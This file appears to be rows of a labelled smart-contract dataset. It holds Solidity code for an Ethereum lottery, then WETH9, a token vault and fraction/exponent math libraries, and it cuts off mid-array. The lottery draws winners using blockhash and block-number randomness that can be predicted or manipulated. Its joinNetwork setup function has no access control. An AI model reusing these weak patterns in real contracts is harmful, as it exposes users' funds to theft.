function getSlotWeight(uint256 _ethAmount, uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 _tAmount = getTAmount(_ethAmount, _ticketSum);
uint256 _tMul = getTMul(_ticketSum);
return (_tAmount).mul(_tMul);
}
function getWeightRange(uint256 grandPot, uint256 initGrandPot, uint256 curRWeight)
public
pure
returns(uint256)
{
uint256 grandPotInvest = grandPot - initGrandPot;
if (grandPotInvest == 0) return 8;
uint256 zoomMul = grandPot * ZOOM / grandPotInvest;
uint256 weightRange = zoomMul * curRWeight / ZOOM;
if (weightRange < curRWeight) weightRange = curRWeight;
return weightRange;
}
}
contract Lottery {
using SafeMath for uint256;
modifier withdrawRight(){
require(msg.sender == address(bankContract), "Bank only");
_;
}
modifier onlyDevTeam() {
require(msg.sender == devTeam, "only for development team");
_;
}
modifier buyable() {
require(block.timestamp > round[curRoundId].startTime, "not ready to sell Ticket");
require(block.timestamp < round[curRoundId].slideEndTime, "round over");
_;
}
enum RewardType {
Minor,
Major,
Grand,
Bounty
}
struct Slot {
address buyer;
uint256 rId;
uint256 tNumberFrom;
uint256 tNumberTo;
uint256 wTo;
uint256 ethAmount;
uint256 salt;
}
struct Round {
uint256 rEarlyIncomeWeight;
uint256 keyBlockNr;
mapping(address => uint256) pTicketSum;
mapping(address => uint256) pInvestedSum;
mapping(address => uint256) pEarlyIncomeWeight;
mapping(address => uint256) pEarlyIncomeCredit;
mapping(address => uint256) pEarlyIncomeClaimed;
uint256 ppw;
uint256 startTime;
uint256 slideEndTime;
uint256 fixedEndTime;
uint256 ticketSum;
uint256 investedSum;
uint256 slotSum;
}
uint256 initGrandPot;
Slot[] slot;
mapping( address => uint256[]) pSlot;
mapping( address => uint256) public pSlotSum;
mapping( address => uint256) public pTicketSum;
mapping( address => uint256) public pInvestedSum;
CitizenInterface public citizenContract;
F2mInterface public f2mContract;
BankInterface public bankContract;
RewardInterface public rewardContract;
address public devTeam;
uint256 constant public ZOOM = 1000;
uint256 constant public ONE_HOUR = 60 * 60;
uint256 constant public ONE_DAY = 24 * ONE_HOUR;
uint256 constant public TIMEOUT0 = 3 * ONE_HOUR;
uint256 constant public TIMEOUT1 = 12 * ONE_HOUR;
uint256 constant public TIMEOUT2 = 7 * ONE_DAY;
uint256 constant public FINALIZE_WAIT_DURATION = 60;
uint256 constant public NEWROUND_WAIT_DURATION = ONE_DAY;
uint256 constant public BLOCK_TIME = 12;
uint256 constant public MAX_BLOCK_DISTANCE = 254;
uint256 constant public MAJOR_RATE = 1000;
uint256 constant public MINOR_RATE = 1000;
uint256 constant public MAJOR_MIN = 0.1 ether ;
uint256 constant public MINOR_MIN = 0.1 ether ;
uint256 public grandRewardPercent = 20;
uint256 public jRewardPercent = 60;
uint256 public toTokenPercent = 12;
uint256 public toBuyTokenPercent = 1;
uint256 public earlyIncomePercent = 22;
uint256 public toRefPercent = 15;
uint256 public majorPercent = 24;
uint256 public minorPercent = 8;
uint256 public grandPot;
uint256 public majorPot;
uint256 public minorPot;
uint256 public curRoundId;
uint256 public lastRoundId = 88888888;
uint256 constant public startPrice = 0.002 ether;
mapping (address => uint256) public rewardBalance;
mapping (address => uint256) public lastWithdrawnRound;
mapping (address => uint256) public earlyIncomeScannedSum;
mapping (uint256 => Round) public round;
uint256 public jSlot;
uint256 public lastBlockNr;
uint256 public curRWeight;
uint256 public curRSalt;
uint256 public curRTicketSum;
constructor (address _devTeam)
public
{
DevTeamInterface(_devTeam).setLotteryAddress(address(this));
devTeam = _devTeam;
}
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0,"already setup");
f2mContract = F2mInterface(_contract[0]);
bankContract = BankInterface(_contract[1]);
citizenContract = CitizenInterface(_contract[2]);
rewardContract = RewardInterface(_contract[4]);
}
function activeFirstRound()
public
onlyDevTeam()
{
require(curRoundId == 0, "already activated");
initRound();
}
function pushToPot()
public
payable
{
addPot(msg.value);
}
function checkpoint()
private
{
Slot memory _slot;
_slot.tNumberTo = round[curRoundId].ticketSum;
slot.push(_slot);
Round memory _round;
_round.startTime = NEWROUND_WAIT_DURATION.add(block.timestamp);
_round.slideEndTime = TIMEOUT0 + _round.startTime;
_round.fixedEndTime = TIMEOUT2 + _round.startTime;
_round.keyBlockNr = genEstKeyBlockNr(_round.slideEndTime);
_round.ticketSum = round[curRoundId].ticketSum;
_round.investedSum = round[curRoundId].investedSum;
_round.slotSum = slot.length;
curRoundId = curRoundId + 1;
round[curRoundId] = _round;
initGrandPot = grandPot;
curRWeight = 0;
curRTicketSum = 0;
}
function isLastRound()
public
view
returns(bool)
{
return (curRoundId == lastRoundId);
}
function goNext()
private
{
uint256 _totalPot = getTotalPot();
grandPot = 0;
majorPot = 0;
minorPot = 0;
f2mContract.pushDividends.value(_totalPot)();
round[curRoundId].startTime = block.timestamp * 10;
round[curRoundId].slideEndTime = block.timestamp * 10 + 1;
}
function initRound()
private
{
checkpoint();
if (isLastRound()) goNext();
}
function finalizeable()
public
view
returns(bool)
{
uint256 finalizeTime = FINALIZE_WAIT_DURATION.add(round[curRoundId].slideEndTime);
if (finalizeTime > block.timestamp) return false;
if (getEstKeyBlockNr(curRoundId) >= block.number) return false;
return curRoundId > 0;
}
function finalize()
public
{
require(finalizeable(), "Not ready to draw results");
require((round[curRoundId].pTicketSum[msg.sender] > 0) || (curRTicketSum == 0), "must buy at least 1 ticket");
endRound(msg.sender);
initRound();
}
function mintReward(
address _lucker,
uint256 _slotId,
uint256 _value,
RewardType _rewardType)
private
{
rewardBalance[_lucker] = rewardBalance[_lucker].add(_value);
rewardContract.mintReward(
_lucker,
curRoundId,
slot[_slotId].tNumberFrom,
slot[_slotId].tNumberTo,
_value,
uint256(_rewardType)
);
}
function jackpot()
private
{
uint256 keyBlockNr = getKeyBlockNr(lastBlockNr);
uint256 seed = getSeed(keyBlockNr);
uint256 jReward;
uint256 toF2mAmount;
address winner;
while (jSlot + 1 < round[curRoundId].slotSum) {
if ((seed % MAJOR_RATE == 6) &&
(slot[jSlot].ethAmount >= MAJOR_MIN)) {
winner = slot[jSlot].buyer;
jReward = majorPot / 100 * jRewardPercent;
mintReward(winner, jSlot, jReward, RewardType.Major);
toF2mAmount = majorPot / 100 * toTokenPercent;
f2mContract.pushDividends.value(toF2mAmount)();
majorPot = majorPot - jReward - toF2mAmount;
}
if (((seed + jSlot) % MINOR_RATE == 8) &&
(slot[jSlot].ethAmount >= MINOR_MIN)) {
winner = slot[jSlot].buyer;
jReward = minorPot / 100 * jRewardPercent;
mintReward(winner, jSlot, jReward, RewardType.Minor);
toF2mAmount = minorPot / 100 * toTokenPercent;
f2mContract.pushDividends.value(toF2mAmount)();
minorPot = minorPot - jReward - toF2mAmount;
}
seed = seed + 1;
jSlot = jSlot + 1;
}
}
function endRound(address _bountyHunter)
private
{
uint256 _rId = curRoundId;
uint256 keyBlockNr = getKeyBlockNr(round[_rId].keyBlockNr);
uint256 _seed = getSeed(keyBlockNr) + curRSalt;
uint256 onePercent = grandPot / 100;
uint256 rGrandReward = onePercent * grandRewardPercent;
uint256 toF2mAmount = onePercent * toTokenPercent;
grandPot = grandPot - toF2mAmount - onePercent;
f2mContract.pushDividends.value(toF2mAmount)();
uint256 weightRange = getWeightRange();
for (uint256 i = 0; i < 3; i++){
uint256 winNr = Helper.getRandom(_seed, weightRange);
if (winNr <= curRWeight) {
grandPot -= rGrandReward;
uint256 _winSlot = getWinSlot(winNr);
address _winner = slot[_winSlot].buyer;
mintReward(_winner, _winSlot, rGrandReward, RewardType.Grand);
_seed = _seed + (_seed / 10);
}
}
mintReward(_bountyHunter, 0, onePercent * 3 / 10, RewardType.Bounty);
rewardContract.pushBounty.value(onePercent * 7 / 10)(curRoundId);
}
function buy(string _sSalt)
public
payable
{
buyFor(_sSalt, msg.sender);
}
function updateInvested(address _buyer, uint256 _ethAmount)
private
{
round[curRoundId].investedSum += _ethAmount;
round[curRoundId].pInvestedSum[_buyer] += _ethAmount;
pInvestedSum[_buyer] += _ethAmount;
}
function updateTicketSum(address _buyer, uint256 _tAmount)
private
{
round[curRoundId].ticketSum = round[curRoundId].ticketSum + _tAmount;
round[curRoundId].pTicketSum[_buyer] = round[curRoundId].pTicketSum[_buyer] + _tAmount;
curRTicketSum = curRTicketSum + _tAmount;
pTicketSum[_buyer] = pTicketSum[_buyer] + _tAmount;
}
function updateEarlyIncome(address _buyer, uint256 _pWeight)
private
{
round[curRoundId].rEarlyIncomeWeight = _pWeight.add(round[curRoundId].rEarlyIncomeWeight);
round[curRoundId].pEarlyIncomeWeight[_buyer] = _pWeight.add(round[curRoundId].pEarlyIncomeWeight[_buyer]);
round[curRoundId].pEarlyIncomeCredit[_buyer] = round[curRoundId].pEarlyIncomeCredit[_buyer].add(_pWeight.mul(round[curRoundId].ppw));
}
function buyFor(string _sSalt, address _sender)
public
payable
buyable()
{
uint256 _salt = Helper.stringToUint(_sSalt);
uint256 _ethAmount = msg.value;
uint256 _ticketSum = curRTicketSum;
require(_ethAmount >= Helper.getTPrice(_ticketSum), "not enough to buy 1 ticket");
updateInvested(_sender, _ethAmount);
curRSalt = curRSalt + _salt;
Slot memory _slot;
_slot.rId = curRoundId;
_slot.buyer = _sender;
_slot.ethAmount = _ethAmount;
_slot.salt = _salt;
uint256 _tAmount = Helper.getTAmount(_ethAmount, _ticketSum);
uint256 _tMul = Helper.getTMul(_ticketSum);
uint256 _pMul = Helper.getEarlyIncomeMul(_ticketSum);
uint256 _pWeight = _pMul.mul(_tAmount);
uint256 _toAddTime = Helper.getAddedTime(_ticketSum, _tAmount);
addTime(curRoundId, _toAddTime);
uint256 _slotWeight = (_tAmount).mul(_tMul);
curRWeight = curRWeight.add(_slotWeight);
_slot.wTo = curRWeight;
uint256 lastSlot = slot.length - 1;
_slot.tNumberFrom = slot[lastSlot].tNumberTo + 1;
_slot.tNumberTo = slot[lastSlot].tNumberTo + _tAmount;
updateTicketSum(_sender, _tAmount);
updateEarlyIncome(_sender, _pWeight);
slot.push(_slot);
round[curRoundId].slotSum = slot.length;
pSlot[_sender].push(slot.length - 1);
if (lastBlockNr != block.number) {
jackpot();
lastBlockNr = block.number;
}
distributeSlotBuy(_sender, curRoundId, _ethAmount);
round[curRoundId].keyBlockNr = genEstKeyBlockNr(round[curRoundId].slideEndTime);
}
function distributeSlotBuy(address _sender, uint256 _rId, uint256 _ethAmount)
private
{
uint256 onePercent = _ethAmount / 100;
uint256 toF2mAmount = onePercent * toTokenPercent;
uint256 toRefAmount = onePercent * toRefPercent;
uint256 toBuyTokenAmount = onePercent * toBuyTokenPercent;
uint256 earlyIncomeAmount = onePercent * earlyIncomePercent;
uint256 taxAmount = toF2mAmount + toRefAmount + toBuyTokenAmount + earlyIncomeAmount;
uint256 taxedEthAmount = _ethAmount.sub(taxAmount);
addPot(taxedEthAmount);
citizenContract.pushRefIncome.value(toRefAmount)(_sender);
f2mContract.pushDividends.value(toF2mAmount)();
f2mContract.buyFor.value(toBuyTokenAmount)(_sender);
uint256 deltaPpw = (earlyIncomeAmount * ZOOM).div(round[_rId].rEarlyIncomeWeight);
round[_rId].ppw = deltaPpw.add(round[_rId].ppw);
}
function claimEarlyIncomebyAddress(address _buyer)
private
{
if (curRoundId == 0) return;
claimEarlyIncomebyAddressRound(_buyer, curRoundId);
uint256 _rId = curRoundId - 1;
while ((_rId > lastWithdrawnRound[_buyer]) && (_rId + 20 > curRoundId)) {
earlyIncomeScannedSum[_buyer] += claimEarlyIncomebyAddressRound(_buyer, _rId);
_rId = _rId - 1;
}
}
function claimEarlyIncomebyAddressRound(address _buyer, uint256 _rId)
private
returns(uint256)
{
uint256 _amount = getCurEarlyIncomeByAddressRound(_buyer, _rId);
if (_amount == 0) return 0;
round[_rId].pEarlyIncomeClaimed[_buyer] = _amount.add(round[_rId].pEarlyIncomeClaimed[_buyer]);
rewardBalance[_buyer] = _amount.add(rewardBalance[_buyer]);
return _amount;
}
function withdrawFor(address _sender)
public
withdrawRight()
returns(uint256)
{
if (curRoundId == 0) return;
claimEarlyIncomebyAddress(_sender);
lastWithdrawnRound[_sender] = curRoundId - 1;
uint256 _amount = rewardBalance[_sender];
rewardBalance[_sender] = 0;
bankContract.pushToBank.value(_amount)(_sender);
return _amount;
}
function addTime(uint256 _rId, uint256 _toAddTime)
private
{
round[_rId].slideEndTime = Helper.getNewEndTime(_toAddTime, round[_rId].slideEndTime, round[_rId].fixedEndTime);
}
function addPot(uint256 _amount)
private
{
uint256 onePercent = _amount / 100;
uint256 toMinor = onePercent * minorPercent;
uint256 toMajor = onePercent * majorPercent;
uint256 toGrand = _amount - toMinor - toMajor;
minorPot = minorPot + toMinor;
majorPot = majorPot + toMajor;
grandPot = grandPot + toGrand;
}
function isWinSlot(uint256 _slotId, uint256 _keyNumber)
public
view
returns(bool)
{
return (slot[_slotId - 1].wTo < _keyNumber) && (slot[_slotId].wTo >= _keyNumber);
}
function getWeightRange()
public
view
returns(uint256)
{
return Helper.getWeightRange(grandPot, initGrandPot, curRWeight);
}
function getWinSlot(uint256 _keyNumber)
public
view
returns(uint256)
{
uint256 _to = slot.length - 1;
uint256 _from = round[curRoundId-1].slotSum + 1;
uint256 _pivot;
uint256 _pivotWTo;
while (_from <= _to) {
_pivot = (_from + _to) / 2;
_pivotWTo = slot[_pivot].wTo;
if (isWinSlot(_pivot, _keyNumber)) return _pivot;
if (_pivotWTo < _keyNumber) {
_from = _pivot + 1;
} else {
_to = _pivot - 1;
}
}
return _pivot;
}
function genEstKeyBlockNr(uint256 _endTime)
public
view
returns(uint256)
{
if (block.timestamp >= _endTime) return block.number + 8;
uint256 timeDist = _endTime - block.timestamp;
uint256 estBlockDist = timeDist / BLOCK_TIME;
return block.number + estBlockDist + 8;
}
function getSeed(uint256 _keyBlockNr)
public
view
returns (uint256)
{
if (block.number <= _keyBlockNr) return block.number;
return uint256(blockhash(_keyBlockNr));
}
function getRewardBalance(address _buyer)
public
view
returns(uint256)
{
return rewardBalance[_buyer];
}
function getSlideEndTime(uint256 _rId)
public
view
returns(uint256)
{
return(round[_rId].slideEndTime);
}
function getFixedEndTime(uint256 _rId)
public
view
returns(uint256)
{
return(round[_rId].fixedEndTime);
}
function getTotalPot()
public
view
returns(uint256)
{
return grandPot + majorPot + minorPot;
}
function getEarlyIncomeByAddress(address _buyer)
public
view
returns(uint256)
{
uint256 _sum = earlyIncomeScannedSum[_buyer];
uint256 _fromRound = lastWithdrawnRound[_buyer] + 1;
if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100;
uint256 _rId = _fromRound;
while (_rId <= curRoundId) {
_sum = _sum + getEarlyIncomeByAddressRound(_buyer, _rId);
_rId++;
}
return _sum;
}
function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId)
public
view
returns(uint256)
{
uint256 _pWeight = round[_rId].pEarlyIncomeWeight[_buyer];
uint256 _ppw = round[_rId].ppw;
uint256 _rCredit = round[_rId].pEarlyIncomeCredit[_buyer];
uint256 _rEarlyIncome = ((_ppw.mul(_pWeight)).sub(_rCredit)).div(ZOOM);
return _rEarlyIncome;
}
function getCurEarlyIncomeByAddress(address _buyer)
public
view
returns(uint256)
{
uint256 _sum = 0;
uint256 _fromRound = lastWithdrawnRound[_buyer] + 1;
if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100;
uint256 _rId = _fromRound;
while (_rId <= curRoundId) {
_sum = _sum.add(getCurEarlyIncomeByAddressRound(_buyer, _rId));
_rId++;
}
return _sum;
}
function getCurEarlyIncomeByAddressRound(address _buyer, uint256 _rId)
public
view
returns(uint256)
{
uint256 _rEarlyIncome = getEarlyIncomeByAddressRound(_buyer, _rId);
return _rEarlyIncome.sub(round[_rId].pEarlyIncomeClaimed[_buyer]);
}
function getEstKeyBlockNr(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].keyBlockNr;
}
function getKeyBlockNr(uint256 _estKeyBlockNr)
public
view
returns(uint256)
{
require(block.number > _estKeyBlockNr, "blockHash not avaiable");
uint256 jump = (block.number - _estKeyBlockNr) / MAX_BLOCK_DISTANCE * MAX_BLOCK_DISTANCE;
return _estKeyBlockNr + jump;
}
function getCurRoundId()
public
view
returns(uint256)
{
return curRoundId;
}
function getTPrice()
public
view
returns(uint256)
{
return Helper.getTPrice(curRTicketSum);
}
function getTMul()
public
view
returns(uint256)
{
return Helper.getTMul(curRTicketSum);
}
function getPMul()
public
view
returns(uint256)
{
return Helper.getEarlyIncomeMul(curRTicketSum);
}
function getPTicketSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return round[_rId].pTicketSum[_buyer];
}
function getTicketSumToRound(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].ticketSum;
}
function getPInvestedSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return round[_rId].pInvestedSum[_buyer];
}
function getInvestedSumToRound(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].investedSum;
}
function getPSlotLength(address _sender)
public
view
returns(uint256)
{
return pSlot[_sender].length;
}
function getSlotLength()
public
view
returns(uint256)
{
return slot.length;
}
function getSlotId(address _sender, uint256 i)
public
view
returns(uint256)
{
return pSlot[_sender][i];
}
function getSlotInfo(uint256 _slotId)
public
view
returns(address, uint256[4], string)
{
Slot memory _slot = slot[_slotId];
return (_slot.buyer,[_slot.rId, _slot.tNumberFrom, _slot.tNumberTo, _slot.ethAmount], Helper.uintToString(_slot.salt));
}
function cashoutable(address _address)
public
view
returns(bool)
{
return (round[curRoundId].pTicketSum[_address] > 0) || (round[curRoundId].startTime > block.timestamp);
}
function setLastRound(uint256 _lastRoundId)
public
onlyDevTeam()
{
require(_lastRoundId >= 18 && _lastRoundId > curRoundId, "too early to end");
require(lastRoundId == 88888888, "already set");
lastRoundId = _lastRoundId;
}
} | 0 | 361 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
